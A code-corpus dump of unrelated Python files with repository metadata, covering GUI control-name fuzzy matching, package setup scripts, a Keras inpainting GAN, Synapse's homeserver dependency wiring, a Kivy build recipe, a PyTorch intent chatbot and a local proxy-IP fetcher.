_cache[(match_against, text)] = ratios[text] # if this is the best so far then update best stats if ratios[text] > best_ratio: best_ratio = ratios[text] best_text = text return ratios, best_ratio, best_text #==================================================================== def find_best_match(search_text, item_texts, items, limit_ratio = .5): """Return the item that best matches the search_text * **search_text** The text to search for * **item_texts** The list of texts to search through * **items** The list of items corresponding (1 to 1) to the list of texts to search through. * **limit_ratio** How well the text has to match the best match. If the best match matches lower then this then it is not considered a match and a MatchError is raised, (default = .5) """ search_text = _cut_at_tab(search_text) text_item_map = UniqueDict() # Clean each item, make it unique and map to # to the item index for text, item in zip(item_texts, items): text_item_map[_cut_at_tab(text)] = item ratios, best_ratio, best_text = \ _get_match_ratios(list(text_item_map.keys()), search_text) if best_ratio < limit_ratio: raise MatchError(items = list(text_item_map.keys()), tofind = search_text) return text_item_map[best_text] #==================================================================== _after_tab = re.compile(r"\t.*", re.UNICODE) _non_word_chars = re.compile(r"\W", re.UNICODE) def _cut_at_tab(text): "Clean out non characters from the string and return it" # remove anything after the first tab return _after_tab.sub("", text) def _clean_non_chars(text): "Remove non word characters" # should this also remove everything after the first tab? # remove non alphanumeric characters return _non_word_chars.sub("", text) def IsAboveOrToLeft(ref_control, other_ctrl): "Return true if the other_ctrl is above or to the left of ref_control" text_r = other_ctrl.Rectangle() ctrl_r = ref_control.Rectangle() # skip controls where text win is to the right of ctrl if text_r.left >= ctrl_r.right: return False # skip controls where text win is below ctrl if text_r.top >= ctrl_r.bottom: return False # text control top left corner is below control # top left corner - so not to the above or left :) if text_r.top >= ctrl_r.top and text_r.left >= ctrl_r.left: return False return True #==================================================================== distance_cuttoff = 999 def GetNonTextControlName(ctrl, controls): """return the name for this control by finding the closest text control above and to its left""" names = [] ctrl_index = controls.index(ctrl) if ctrl_index != 0: prev_ctrl = controls[ctrl_index-1] if prev_ctrl.FriendlyClassName() == "Static" and \ prev_ctrl.IsVisible() and prev_ctrl.WindowText() and \ IsAboveOrToLeft(ctrl, prev_ctrl): names.append( prev_ctrl.WindowText() + ctrl.FriendlyClassName()) # get the visible text controls so that we can get # the closest text if the control has no text text_ctrls = [ctrl_ for ctrl_ in controls if ctrl_.IsVisible() and ctrl_.WindowText() and ctrl_.can_be_label] best_name = '' closest = distance_cuttoff # now for each of the visible text controls for text_ctrl in text_ctrls: # get aliases to the control rectangles text_r = text_ctrl.Rectangle() ctrl_r = ctrl.Rectangle() # skip controls where text win is to the right of ctrl if text_r.left >= ctrl_r.right: continue # skip controls where text win is below ctrl if text_r.top >= ctrl_r.bottom: continue # calculate the distance between the controls # at first I just calculated the distance from the top let # corner of one control to the top left corner of the other control # but this was not best, so as a text control should either be above # or to the left of the control I get the distance between # the top left of the non text control against the # Top-Right of the text control (text control to the left) # Bottom-Left of the text control (text control above) # then I get the min of these two # We do not actually need to calculate the difference here as we # only need a comparative number. As long as we find the closest one # the actual distance is not all that important to us. # this reduced the unit tests run on my by about 1 second # (from 61 ->60 s) # (x^2 + y^2)^.5 #distance = ( # (text_r.left - ctrl_r.left) ** 2 + # (x^2 + y^2) # (text_r.bottom - ctrl_r.top) ** 2) \ # ** .5 # ^.5 #distance2 = ( # (text_r.right - ctrl_r.left) ** 2 + # (x^2 + y^2) # (text_r.top - ctrl_r.top) ** 2) \ # ** .5 # ^.5 distance = abs(text_r.left - ctrl_r.left) + abs(text_r.bottom - ctrl_r.top) distance2 = abs(text_r.right - ctrl_r.left) + abs(text_r.top - ctrl_r.top) distance = min(distance, distance2) # if this distance was closer then the last one if distance < closest: closest = distance best_name = text_ctrl.WindowText() + ctrl.FriendlyClassName() names.append(best_name) return names #==================================================================== def get_control_names(control, allcontrols): "Returns a list of names for this control" names = [] # if it has a reference control - then use that #if hasattr(control, 'ref') and control.ref: # control = control.ref # Add the control based on it's friendly class name names.append(control.FriendlyClassName()) # if it has some character text then add it base on that # and based on that with friendly class name appended cleaned = control.WindowText() # Todo - I don't like the hardcoded classnames here! if cleaned and control.has_title: names.append(cleaned) names.append(cleaned + control.FriendlyClassName()) # it didn't have visible text else: # so find the text of the nearest text visible control non_text_names = GetNonTextControlName(control, allcontrols) # and if one was found - add it if non_text_names: names.extend(non_text_names) # return the names - and make sure there are no duplicates return set(names) #==================================================================== class UniqueDict(dict): "A dictionary subclass that handles making it's keys unique" def __setitem__(self, text, item): "Set an item of the dictionary" # this text is already in the map # so we need to make it unique if text in self: # find next unique text after text1 unique_text = text counter = 2 while unique_text in self: unique_text = text + str(counter) counter += 1 # now we also need to make sure the original item # is under text0 and text1 also! if text + '0' not in self: dict.__setitem__(self, text+'0', self[text]) dict.__setitem__(self, text+'1', self[text]) # now that we don't need original 'text' anymore # replace it with the uniq text text = unique_text # add our current item dict.__setitem__(self, text, item) def FindBestMatches( self, search_text, clean = False, ignore_case = False): """Return the best matches for search_text in the items * **search_text** the text to look for * **clean** whether to clean non text characters out of the strings * **ignore_case** compare strings case insensitively """ # now time to figure out the matching ratio_calc = difflib.SequenceMatcher() if ignore_case: search_text = search_text.lower() ratio_calc.set_seq1(search_text) ratios = {} best_ratio = 0 best_texts = [] ratio_offset = 1 if clean: ratio_offset *= .9 if ignore_case: ratio_offset *= .9 for text_ in self: # make a copy of the text as we need the original later text = text_ if clean: text = _clean_non_chars(text) if ignore_case: text = text.lower() # check if this item is in the cache - if yes, then retrieve it if (text, search_text) in _cache: ratios[text_] = _cache[(text, search_text)] elif(search_text, text) in _cache: ratios[text_] = _cache[(search_text, text)] # not in the cache - calculate it and add it to the cache else: # set up the SequenceMatcher with other text ratio_calc.set_seq2(text) # if a very quick check reveals that this is not going # to match then ratio = ratio_calc.real_quick_ratio() * ratio_offset if ratio >= find_best_control_match_cutoff: ratio = ratio_calc.quick_ratio() * ratio_offset if ratio >= find_best_control_match_cutoff: ratio = ratio_calc.ratio() * ratio_offset # save the match we got and store it in the cache ratios[text_] = ratio _cache[(text, search_text)] = ratio # try using the levenshtein distance instead #lev_dist = levenshtein_distance(unicode(search_text), unicode(text)) #ratio = 1 - lev_dist / 10.0 #ratios[text_] = ratio #print "%5s" %("%0.2f"% ratio), search_text, `text` # if this is the best so far then update best stats if ratios[text_] > best_ratio and \ ratios[text_] >= find_best_control_match_cutoff: best_ratio = ratios[text_] best_texts = [text_] elif ratios[text_] == best_ratio: best_texts.append(text_) #best_ratio *= ratio_offset return best_ratio, best_texts #==================================================================== def build_unique_dict(controls): """Build the disambiguated list of controls Separated out to a different function so that we can get the control identifiers for printing. """ name_control_map = UniqueDict() # collect all the possible names for all controls # and build a list of them for ctrl in controls: ctrl_names = get_control_names(ctrl, controls) # for each of the names for name in ctrl_names: name_control_map[name] = ctrl return name_control_map #==================================================================== def find_best_control_matches(search_text, controls): """Returns the control that is the the best match to search_text This is slightly differnt from find_best_match in that it builds up the list of text items to search through using information from each control. So for example for there is an OK, Button then the following are all added to the search list: "OK", "Button", "OKButton" But if there is a ListView (which do not have visible 'text') then it will just add "ListView". """ name_control_map = build_unique_dict(controls) # # collect all the possible names for all controls # # and build a list of them # for ctrl in controls: # ctrl_names = get_control_names(ctrl, controls) # # # for each of the names # for name in ctrl_names: # name_control_map[name] = ctrl search_text = str(search_text) best_ratio, best_texts = name_control_map.FindBestMatches(search_text) best_ratio_ci, best_texts_ci = \ name_control_map.FindBestMatches(search_text, ignore_case = True) best_ratio_clean, best_texts_clean = \ name_control_map.FindBestMatches(search_text, clean = True) best_ratio_clean_ci, best_texts_clean_ci = \ name_control_map.FindBestMatches( search_text, clean = True, ignore_case = True) if best_ratio_ci > best_ratio: best_ratio = best_ratio_ci best_texts = best_texts_ci if best_ratio_clean > best_ratio: best_ratio = best_ratio_clean best_texts = best_texts_clean if best_ratio_clean_ci > best_ratio: best_ratio = best_ratio_clean_ci best_texts = best_texts_clean_ci if best_ratio < find_best_control_match_cutoff: raise MatchError(items = list(name_control_map.keys()), tofind = search_text) return [name_control_map[best_text] for best_text in best_texts] # #def GetControlMatchRatio(text, ctrl): # # get the texts for the control # ctrl_names = get_control_names(ctrl) # # #get the best match for these # matcher = UniqueDict() # for name in ctrl_names: # matcher[name] = ctrl # # best_ratio, unused = matcher.FindBestMatches(text) # # return best_ratio # # # #def get_controls_ratios(search_text, controls): # name_control_map = UniqueDict() # # # collect all the possible names for all controls # # and build a list of them # for ctrl in controls: # ctrl_names = get_control_names(ctrl) # # # for each of the names # for name in ctrl_names: # name_control_map[name] = ctrl # # match_ratios, best_ratio, best_text = \ # _get_match_ratios(name_control_map.keys(), search_text) # # return match_ratios, best_ratio, best_text,

32.657993

86

0.594878

4,299

0.244678

0

8,676

0.493796

cde9443d5f9dce44149feca0d10e665a2fbcf090

1,074

py

Python

setup.py

boichee/fabricator

33ad4fa615c153817b014d6b7fe9807f1752db25

[ "MIT" ]

11

2018-07-09T07:08:16.000Z

2018-07-13T14:05:46.000Z

setup.py

boichee/fabricator

33ad4fa615c153817b014d6b7fe9807f1752db25

[ "MIT" ]

3

2020-03-24T17:37:47.000Z

2021-02-02T22:18:59.000Z

setup.py

boichee/fabricator

33ad4fa615c153817b014d6b7fe9807f1752db25

[ "MIT" ]

null

from setuptools import setup, find_packages exclude_dirs = ['ez_setup', 'examples', 'tests', 'venv'] # Runtime requirements reqs = [ 'requests', 'six', 'future', 'aenum' ] # Requirements for testing test_reqs = ['pytest', 'hypothesis', 'requests_mock'] # Requirements for setup setup_reqs = ['flake8', 'pep8', 'pytest-runner'] setup( name='fabricate-it', version='1.1.0', author='Brett Levenson', author_email='[email protected]', description='A library that makes creating API clients simple and declarative', url='https://github.com/boichee/fabricator', packages=find_packages(exclude=exclude_dirs), install_requires=reqs, tests_require=test_reqs, setup_requires=setup_reqs, classifiers=[ 'Development Status :: 4 - Beta', 'Operating System :: MacOS :: MacOS X', 'Operating System :: POSIX', 'Topic :: Software Development', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.6', 'Intended Audience :: Developers' ] )

26.85

83

0.650838

0

601

0.55959

cde9a03010ce87292ba1da645b7d397d96cc724e

115

py

Python

aitoolbox/cloud/__init__.py

mv1388/AIToolbox

c64ac4810a02d230ce471d86b758e82ea232a7e7

[ "MIT" ]

3

2019-10-12T12:24:09.000Z

2020-08-02T02:42:43.000Z

aitoolbox/cloud/__init__.py

mv1388/aitoolbox

1060435e6cbdfd19abcb726c4080b663536b7467

[ "MIT" ]

3

2020-04-10T14:07:07.000Z

2020-04-22T19:04:38.000Z

aitoolbox/cloud/__init__.py

mv1388/aitoolbox

1060435e6cbdfd19abcb726c4080b663536b7467

[ "MIT" ]

null

s3_available_options = ['s3', 'aws_s3', 'aws'] gcs_available_options = ['gcs', 'google_storage', 'google storage']

38.333333

67

0.713043

0

54

0.469565

cde9dfcf27b3e92945a09440ebd5cd1eb09e8452

12,607

py

Python

src/gan/ccgan/ccGAN.py

matkir/Master_programs

70c4c399f9c9fc3e1643e78694223b24d7b94b18

[ "MIT" ]

null

src/gan/ccgan/ccGAN.py

matkir/Master_programs

70c4c399f9c9fc3e1643e78694223b24d7b94b18

[ "MIT" ]

null

src/gan/ccgan/ccGAN.py

matkir/Master_programs

70c4c399f9c9fc3e1643e78694223b24d7b94b18

[ "MIT" ]

null

from __future__ import print_function, division if __name__=='__main__': from cc_weights import Weight_model else: from . import Weight_model from keras.models import load_model import keras.backend as K import plotload import sys from selector import Selector #from masker import mask_from_template,mask_randomly_square,mask_green_corner,combine_imgs_with_mask import masker as ms import matplotlib.pyplot as plt import numpy as np from tqdm import tqdm import cutter import masker class CCgan(): def __init__(self,img_cols,img_rows): """ Initializes the autoencoder. """ self.set_training_info() globals().update(self.info) self.threshold=threshold self.img_cols = img_cols # Original is ~576 self.img_rows = img_rows # Original is ~720 self.channels = 3 # RGB self.img_shape=(self.img_cols,self.img_rows,self.channels) if not mask: dummy=plotload.load_polyp_batch(self.img_shape,20,data_type='med/stool-inclusions',crop=False) self.dims =cutter.find_square_coords(dummy) self.combined=None self.discriminator=None self.generator=None self.pretrained=False def load_model(self): """ loads a model to the object instead of creating one. :param adress: string of adress to the file of type h5. """ if self.combined!=None: print("Warning: overriding a loaded model") self.generator=load_model(f"models/CCgan-gen-{self.img_shape[0]}-{self.img_shape[1]}-{'c' if corner else 'n'}.h5") self.discriminator=load_model(f"models/CCgan-dic-{self.img_shape[0]}-{self.img_shape[1]}-{'c' if corner else 'n'}.h5") self.combined=load_model(f"models/CCgan-com-{self.img_shape[0]}-{self.img_shape[1]}-{'c' if corner else 'n'}.h5") def load_model_weights(self): if self.combined==None: print("Error: no model in object") else: try: self.combined.load_weights(f"models/CCgan-{self.img_shape[0]}-{self.img_shape[1]}-{'c' if corner else 'n'}-w-com.h5") self.discriminator.load_weights(f"models/CCgan-{self.img_shape[0]}-{self.img_shape[1]}-{'c' if corner else 'n'}-w-dis.h5") self.generator.load_weights(f"models/CCgan-{self.img_shape[0]}-{self.img_shape[1]}-{'c' if corner else 'n'}-w-gen.h5") self.pretrained=True except e: print("Error: weights could not be loaded") print(e) def build_model(self): """ builds a model to the object instead of loading one. Uses AE_weights.py as model """ if self.combined!=None: print("Warning: overriding a loaded model") wm=Weight_model(self.img_cols,self.img_rows) self.discriminator,self.generator,self.combined=wm.build_model() def set_training_info(self): self.info={} import sys try: if len(sys.argv)==1: choise=2 else: choise=int(input("press 1 for last run or 2 for info.txt ")) except: choise=False if choise==1: self.info=np.load("temp_info.npy").item() return elif choise==2: with open("info.txt") as f: for line in f: (key, val) = line.split() try: self.info[key] = int(val) except: self.info[key] = float(val) np.save("temp_info.npy", self.info) return else: self.info["mask"]=int(input("Mask [1] or corner [0]? ")) if self.info['mask']==1: tmp=input("Mask adress? (default: /masks) ") self.info["mask_folder"]=tmp if isinstance(tmp, str) else "/masks" self.info["epochs"]=int(input("Number of epochs? ")) self.info["batch_size"]=int(input("Batch size? ")) self.info["save_interval"]=int(input("save interval? ")) np.save("temp_info.npy", self.info) def train_model(self): def t(m,bol): for layer in m.layers: layer.trainable=bol if self.info==None: print("Warning no info found, prompting for info") self.set_training_info() globals().update(self.info) if self.combined==None: print("Error: no model loaded") return if self.pretrained==True: print("Warning: model has pretrained weights") half_batch = batch_size for epoch in tqdm(range(epochs)): X_train = plotload.load_polyp_batch(self.img_shape, batch_size, data_type='med/none',crop=False) if corner: masked_imgs, missing, mask = ms.mask_green_corner(X_train) m=np.zeros(shape=X_train.shape) for i in range(X_train.shape[0]): m[i,mask[0]:mask[1],mask[2]:mask[3]]=missing[i] missing=m else: masked_imgs, missing, mask = ms.mask_from_template(X_train) if soft: valid = 0.2*np.random.random_sample((half_batch,1))+0.9 fake = 0.1*np.random.random_sample((half_batch,1)) else: valid = np.ones((half_batch, 1)) fake = np.zeros((half_batch, 1)) # --------------------- # Train Generator # --------------------- valid = np.ones((batch_size, 1)) # Train the generator t(self.discriminator,False) g_loss = self.combined.train_on_batch(masked_imgs, [X_train, valid]) t(self.discriminator,True) # --------------------- # Train discriminator # --------------------- gen_fake = self.generator.predict(masked_imgs) gen_fake = ms.combine_imgs_with_mask(gen_fake, X_train, mask) if epoch%120==0 and epoch!=0: #small shakeup to get out of local minimas fake, valid = valid , fake # Train the discriminator d_loss_real = self.discriminator.train_on_batch(X_train, valid) d_loss_fake = self.discriminator.train_on_batch(gen_fake, fake) d_loss = 0.5 * np.add(d_loss_real, d_loss_fake) # Plot the progress print ("[D: %f G: %f, mse: %f]" % (d_loss[0], g_loss[0], g_loss[1])) if g_loss[1]<self.threshold: self.threshold=g_loss[1] self.generator.save(f"models/CCgan-gen-{self.img_shape[0]}-{self.img_shape[1]}-{'c' if corner else 'n'}.h5") self.discriminator.save(f"models/CCgan-dic-{self.img_shape[0]}-{self.img_shape[1]}-{'c' if corner else 'n'}.h5") self.combined.save(f"models/CCgan-com-{self.img_shape[0]}-{self.img_shape[1]}-{'c' if corner else 'n'}.h5") self.combined.save_weights(f"models/CCgan-{self.img_shape[0]}-{self.img_shape[1]}-{'c' if corner else 'n'}-w-com.h5") self.discriminator.save_weights(f"models/CCgan-{self.img_shape[0]}-{self.img_shape[1]}-{'c' if corner else 'n'}-w-dis.h5") self.generator.save_weights(f"models/CCgan-{self.img_shape[0]}-{self.img_shape[1]}-{'c' if corner else 'n'}-w-gen.h5") if g_loss[1]<self.threshold: self.threshold=g_loss[1] self.generator.save(f"models/CCgan-gen-{self.img_shape[0]}-{self.img_shape[1]}-{'c' if corner else 'n'}_fin.h5") self.discriminator.save(f"models/CCgan-dic-{self.img_shape[0]}-{self.img_shape[1]}-{'c' if corner else 'n'}_fin.h5") self.combined.save(f"models/CCgan-com-{self.img_shape[0]}-{self.img_shape[1]}-{'c' if corner else 'n'}_fin.h5") self.combined.save_weights(f"models/CCgan-{self.img_shape[0]}-{self.img_shape[1]}-{'c' if corner else 'n'}-w-com_fin.h5") self.discriminator.save_weights(f"models/CCgan-{self.img_shape[0]}-{self.img_shape[1]}-{'c' if corner else 'n'}-w-dis_fin.h5") self.generator.save_weights(f"models/CCgan-{self.img_shape[0]}-{self.img_shape[1]}-{'c' if corner else 'n'}-w-gen_fin.h5") def build_wrapper(self): """ Returns a func that works as a complete preprocsess tool """ if mask==1: def ret(input_img,mask=None): """ Without a corner, a mask must be added """ if not cutter.is_green(input_img): return input_img if mask is None: mask=plotload.load_single_template(input_img.shape,dest='med/green') img=input_img.copy() if len(img.shape)==3: img=np.expand_dims(img, 0) prediced=np.squeeze(self.generator.predict(img),0) img=masker.combine_imgs_with_mask(prediced, img, mask) return np.expand_dims(img,0) else: def ret(input_img): if not cutter.is_green(input_img): return input_img img=input_img.copy() if len(img.shape)==3: img=np.expand_dims(img, 0) y1,y2,x1,x2=self.dims img, _, _ = ms.mask_green_corner(img) prediced=np.squeeze(self.generator.predict(img),0) img=np.squeeze(img,0) img[y1:y2,x1:x2]=prediced[y1:y2,x1:x2] return np.expand_dims(img,0) return ret def sample_images(self, epoch, imgs): r, c = 3, 6 masked_imgs, missing_parts, m = mask_from_template(imgs) gen_fake1 = self.generator.predict(missing_parts) gen_fake = combine_imgs_with_mask(gen_fake1, imgs, m) imgs = 0.5 * imgs + 0.5 masked_imgs = 0.5 * masked_imgs + 0.5 gen_fake = 0.5 * gen_fake + 0.5 gen_fake1 = 0.5 * gen_fake1 + 0.5 fig, axs = plt.subplots(r, c) for i in range(c): axs[0,i].imshow(imgs[i, :,:]) axs[0,i].axis('off') axs[1,i].imshow(gen_fake[i, :,:]) axs[1,i].axis('off') axs[2,i].imshow(gen_fake1[i,:,:]) axs[2,i].axis('off') fig.savefig("images/cc_%d.png" % epoch) plt.close() def sort_folder(self,w,path=None): import os import cv2 from tqdm import tqdm from shutil import copyfile import sys if path is not None: dirs_i=[] dirs_o=[] d=next(os.walk(path))[1] for i in d: if i =='none' or i=='green' or i=='preprocessed': continue dirs_o.append(path+'preprocessed/'+i) dirs_i.append(path+i) for i in dirs_o: if not os.path.exists(i): os.makedirs(i) else: polyps='polyps' ulcerative_colitis='ulcerative-colitis' dirs=[polyps,ulcerative_colitis] if not os.path.exists(polyps_prep): os.makedirs(polyps_prep) if not os.path.exists(ulcerative_colitis_prep): os.makedirs(ulcerative_colitis_prep) for i,o in tqdm(zip(dirs_i,dirs_o)): for img_name in os.listdir(i): path=os.path.join(i,img_name) img=plotload.load_one_img((self.img_cols,self.img_rows), dest=path, extra_dim=True) if cutter.is_green(img): tmp=cv2.imwrite(os.path.join(o,img_name), cv2.cvtColor(127.5*w(img)[0]+127.5,cv2.COLOR_RGB2BGR)) else: tmp=cv2.imwrite(os.path.join(o,img_name), cv2.cvtColor(127.5*img[0]+127.5,cv2.COLOR_RGB2BGR)) if __name__ == '__main__': cc = CCgan(256,256) #cc.build_model() #cc.train_model() cc.load_model() #cc.load_model_weights() w=cc.build_wrapper() root='/home/mathias/Documents/kvasir-dataset-v2/med/' cc.sort_folder(w,path=root) cc.sort_folder(w,path='/media/mathias/A_New_Hope/medico_test/')

41.199346

142

0.546601

11,759

0.932736

0

3,307

0.262315

cdea49e6abeeb4e6ceb631ab1583ede7c457b5ed

6,585

py

Python

synapse/server.py

uroborus/synapse

270825ab2a3e16bb8ffcdbcea058efd28a38e8e1

[ "Apache-2.0" ]

1

2021-09-09T08:50:20.000Z

synapse/server.py

uroborus/synapse

270825ab2a3e16bb8ffcdbcea058efd28a38e8e1

[ "Apache-2.0" ]

null

synapse/server.py

uroborus/synapse

270825ab2a3e16bb8ffcdbcea058efd28a38e8e1

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- # Copyright 2014 OpenMarket Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # This file provides some classes for setting up (partially-populated) # homeservers; either as a full homeserver as a real application, or a small # partial one for unit test mocking. # Imports required for the default HomeServer() implementation from synapse.federation import initialize_http_replication from synapse.api.events import serialize_event from synapse.api.events.factory import EventFactory from synapse.notifier import Notifier from synapse.api.auth import Auth from synapse.handlers import Handlers from synapse.rest import RestServletFactory from synapse.state import StateHandler from synapse.storage import DataStore from synapse.types import UserID, RoomAlias, RoomID from synapse.util import Clock from synapse.util.distributor import Distributor from synapse.util.lockutils import LockManager from synapse.streams.events import EventSources from synapse.api.ratelimiting import Ratelimiter class BaseHomeServer(object): """A basic homeserver object without lazy component builders. This will need all of the components it requires to either be passed as constructor arguments, or the relevant methods overriding to create them. Typically this would only be used for unit tests. For every dependency in the DEPENDENCIES list below, this class creates one method, def get_DEPENDENCY(self) which returns the value of that dependency. If no value has yet been set nor was provided to the constructor, it will attempt to call a lazy builder method called def build_DEPENDENCY(self) which must be implemented by the subclass. This code may call any of the required "get" methods on the instance to obtain the sub-dependencies that one requires. """ DEPENDENCIES = [ 'clock', 'http_client', 'db_name', 'db_pool', 'persistence_service', 'replication_layer', 'datastore', 'event_factory', 'handlers', 'auth', 'rest_servlet_factory', 'state_handler', 'room_lock_manager', 'notifier', 'distributor', 'resource_for_client', 'resource_for_federation', 'resource_for_web_client', 'resource_for_content_repo', 'event_sources', 'ratelimiter', ] def __init__(self, hostname, **kwargs): """ Args: hostname : The hostname for the server. """ self.hostname = hostname self._building = {} # Other kwargs are explicit dependencies for depname in kwargs: setattr(self, depname, kwargs[depname]) @classmethod def _make_dependency_method(cls, depname): def _get(self): if hasattr(self, depname): return getattr(self, depname) if hasattr(self, "build_%s" % (depname)): # Prevent cyclic dependencies from deadlocking if depname in self._building: raise ValueError("Cyclic dependency while building %s" % ( depname, )) self._building[depname] = 1 builder = getattr(self, "build_%s" % (depname)) dep = builder() setattr(self, depname, dep) del self._building[depname] return dep raise NotImplementedError( "%s has no %s nor a builder for it" % ( type(self).__name__, depname, ) ) setattr(BaseHomeServer, "get_%s" % (depname), _get) # TODO: Why are these parse_ methods so high up along with other globals? # Surely these should be in a util package or in the api package? # Other utility methods def parse_userid(self, s): """Parse the string given by 's' as a User ID and return a UserID object.""" return UserID.from_string(s, hs=self) def parse_roomalias(self, s): """Parse the string given by 's' as a Room Alias and return a RoomAlias object.""" return RoomAlias.from_string(s, hs=self) def parse_roomid(self, s): """Parse the string given by 's' as a Room ID and return a RoomID object.""" return RoomID.from_string(s, hs=self) def serialize_event(self, e): return serialize_event(self, e) # Build magic accessors for every dependency for depname in BaseHomeServer.DEPENDENCIES: BaseHomeServer._make_dependency_method(depname) class HomeServer(BaseHomeServer): """A homeserver object that will construct most of its dependencies as required. It still requires the following to be specified by the caller: resource_for_client resource_for_web_client resource_for_federation resource_for_content_repo http_client db_pool """ def build_clock(self): return Clock() def build_replication_layer(self): return initialize_http_replication(self) def build_datastore(self): return DataStore(self) def build_event_factory(self): return EventFactory(self) def build_handlers(self): return Handlers(self) def build_notifier(self): return Notifier(self) def build_auth(self): return Auth(self) def build_rest_servlet_factory(self): return RestServletFactory(self) def build_state_handler(self): return StateHandler(self) def build_room_lock_manager(self): return LockManager() def build_distributor(self): return Distributor() def build_event_sources(self): return EventSources(self) def build_ratelimiter(self): return Ratelimiter() def register_servlets(self): """ Register all servlets associated with this HomeServer. """ # Simply building the ServletFactory is sufficient to have it register self.get_rest_servlet_factory()

31.658654

79

0.665907

4,919

0.747001

0

964

0.146393

0

3,137

0.476386

cdea57f865285710bac46af78cc530224ae5efeb

359

py

Python

pythonforandroid/recipes/kivy/__init__.py

inclement/p4a-experiment

4e120e08cc3c33af89948307628c8b28fdf76b87

[ "MIT" ]

1

2015-06-09T21:12:09.000Z

pythonforandroid/recipes/kivy/__init__.py

inclement/p4a-experiment

4e120e08cc3c33af89948307628c8b28fdf76b87

[ "MIT" ]

null

pythonforandroid/recipes/kivy/__init__.py

inclement/p4a-experiment

4e120e08cc3c33af89948307628c8b28fdf76b87

[ "MIT" ]

null

from pythonforandroid.toolchain import CythonRecipe, shprint, current_directory, ArchAndroid from os.path import exists, join import sh import glob class KivyRecipe(CythonRecipe): version = 'stable' url = 'https://github.com/kivy/kivy/archive/{version}.zip' name = 'kivy' depends = ['pygame', 'pyjnius', 'android'] recipe = KivyRecipe()

21.117647

92

0.721448

183

0.509749

0

92

0.256267

cdeaa27ba25e454daf95595f163fae1a13887999

1,220

py

Python

chat.py

Programmer-RD-AI/Learning-NLP-PyTorch

5780598340308995c0b8436d3031aa58ee7b81da

[ "Apache-2.0" ]

null

chat.py

Programmer-RD-AI/Learning-NLP-PyTorch

5780598340308995c0b8436d3031aa58ee7b81da

[ "Apache-2.0" ]

null

chat.py

Programmer-RD-AI/Learning-NLP-PyTorch

5780598340308995c0b8436d3031aa58ee7b81da

[ "Apache-2.0" ]

null

import random import json import torch from model import NeuralNet from nltk_utils import * device = "cuda" with open('intents.json','r') as f: intents = json.load(f) FILE = 'data.pth' data = torch.load(FILE) input_size = data['input_size'] output_size = data['output_size'] hidden_size = data['hidden_size'] all_words = data['all_words'] tags = data['tags'] model_state = data['model_state'] model = NeuralNet(input_size, hidden_size, output_size).to(device) model.load_state_dict(model_state) model.eval() bot_name = 'Programmer-RD-AI' print('Lets chat ! type "quit" to exit') while True: sentence = input('You : ') if sentence == 'quit': break sentence = tokenize(sentence) X = bag_of_words(sentence,all_words) X = X.reshape(1,X.shape[0]) X = torch.from_numpy(X).to(device) pred = model(X) pred_ = pred.clone() _,pred = torch.max(pred,dim=1) tag = tags[pred.item()] probs = torch.softmax(pred_,dim=1) prob = probs[0][pred.item()] if prob.item() > 0.75: for intent in intents['intents']: if tag == intent['tag']: print(f'{bot_name}: {random.choice(intent["responses"])}') else: print(f'{bot_name}: IDK..')

29.047619

74

0.648361

0

251

0.205738

cdeb4f70b3a53f9cb3413cfdc25708394eec070f

329

py

Python

Jay_Redis/Jay_Redis/utils/GetProxyIp.py

kimsax/gratuation_project

99f842753f3403d3fdcd62316cf6a8d0091a5871

[ "MIT" ]

1

2021-03-02T08:04:25.000Z

Jay_Redis/Jay_Redis/utils/GetProxyIp.py

kimsax/gratuation_project

99f842753f3403d3fdcd62316cf6a8d0091a5871

[ "MIT" ]

null

Jay_Redis/Jay_Redis/utils/GetProxyIp.py

kimsax/gratuation_project

99f842753f3403d3fdcd62316cf6a8d0091a5871

[ "MIT" ]

null

# -*- utf-8 -*- import random import redis import requests def GetIps(): li = [] # url = 'http://122.51.95.201:8000/?country=国内&count=20' url = 'http://127.0.0.1:8000/?country=国内&count=20' ips = requests.get(url) for ip in eval(ips.content): li.append(ip[0]+':'+str(ip[1])) return li # GetIps()

20.5625

60

0.580547

0

136

0.403561

cdeb9ce72d1bf949c4fdc2a94b43168b90c61e61

876

py

Python

setup.py

tbz-pariv/ftpservercontext

426e98dd4983cc6977c4d071a831874726c0fae2

[ "Apache-2.0" ]

2

2019-04-18T12:28:58.000Z

2021-01-04T14:52:07.000Z

setup.py

tbz-pariv/ftpservercontext

426e98dd4983cc6977c4d071a831874726c0fae2

[ "Apache-2.0" ]

1

2019-01-04T14:46:00.000Z

2019-06-04T12:31:45.000Z

setup.py

tbz-pariv/ftpservercontext

426e98dd4983cc6977c4d071a831874726c0fae2

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- import setuptools setuptools.setup( name='ftpservercontext', version='2018.3.0', license='commercial', author='Thomas Guettler', author_email='[email protected]', url='https://github.com/tbz-pariv/ftpservercontext', long_description=open('README.rst').read(), packages=setuptools.find_packages(), zip_safe = False, # https://www.tbz-pariv.lan/index.html/doku.php?id=python_packages#requirementstxt_vs_install_requires # All reusable libraries use install_requires. # Projects (containing only config) can use requirements.txt install_requires=[ 'pyftpdlib', ], include_package_data=True, entry_points={ 'console_scripts': [ 'serve_directory_via_ftp=ftpservercontext.console_scripts:serve_directory_via_ftp', ], } )

29.2

106

0.696347

0

504

0.575342

cdecd7c4bafe572b5e961bd73c1a75878f9feaa8

3,428

py

Python

zoomeye/cli.py

r0oike/zoomeye-python

b93f1c9c350e4fce7580f9f71ab1e76d06ce165d

[ "Apache-2.0" ]

null

zoomeye/cli.py

r0oike/zoomeye-python

b93f1c9c350e4fce7580f9f71ab1e76d06ce165d

[ "Apache-2.0" ]

null

zoomeye/cli.py

r0oike/zoomeye-python

b93f1c9c350e4fce7580f9f71ab1e76d06ce165d

[ "Apache-2.0" ]

null

